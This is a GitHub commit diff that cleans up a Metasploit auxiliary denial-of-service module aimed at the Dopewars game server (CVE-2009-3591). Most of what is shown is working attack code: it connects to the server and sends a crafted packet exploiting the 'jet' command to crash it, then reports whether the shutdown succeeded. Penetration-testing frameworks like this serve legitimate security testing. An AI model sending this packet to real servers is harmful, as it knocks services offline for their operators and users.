Skip to content

Commit c8c50a6

Browse files
committed
cleaned up dopewars module
1 parent a199c39 commit c8c50a6

File tree

1 file changed

+7
-5
lines changed

1 file changed

+7
-5
lines changed

modules/auxiliary/dos/dopewars/dopewars.rb

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -19,10 +19,9 @@ def initialize(info = {})
1919
},
2020
'Author' => [ 'Doug Prostko <dougtko[at]gmail.com>' ],
2121
'License' => MSF_LICENSE,
22-
'Version' => '0.0.1',
22+
'Version' => '0.0.2',
2323
'References' =>
2424
[
25-
[ 'URL', 'http://www.securityfocus.com/archive/1/archive/1/507012/100/0/threaded' ],
2625
[ 'BID', '36606' ],
2726
[ 'CVE', 'CVE-2009-3591' ],
2827
]))
@@ -31,15 +30,14 @@ def initialize(info = {})
3130
end
3231

3332
def run
34-
connect
35-
3633
# The jet command is vulnerable.
3734
# Program received signal SIGSEGV, Segmentation fault.
3835
# [Switching to Thread 0xb74916c0 (LWP 30638)]
3936
# 0x08062f6e in HandleServerMessage (buf=0x8098828 "", Play=0x809a000) at
4037
# serverside.c:525
4138
# 525 dopelog(4, LF_SERVER, "%s jets to %s",
4239
#
40+
connect
4341
pkt = "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"
4442
print_status("Sending dos packet...")
4543
sock.put(pkt)
@@ -52,7 +50,11 @@ def run
5250
rescue ::Interrupt
5351
raise $!
5452
rescue ::Rex::ConnectionRefused
55-
print_status("Dopewars server succesfully shut down!")
53+
print_good("Dopewars server succesfully shut down!")
54+
else
55+
print_error("DOS attack unsuccessful")
56+
ensure
57+
disconnect
5658
end
5759
end
5860
end

0 commit comments

Comments
 (0)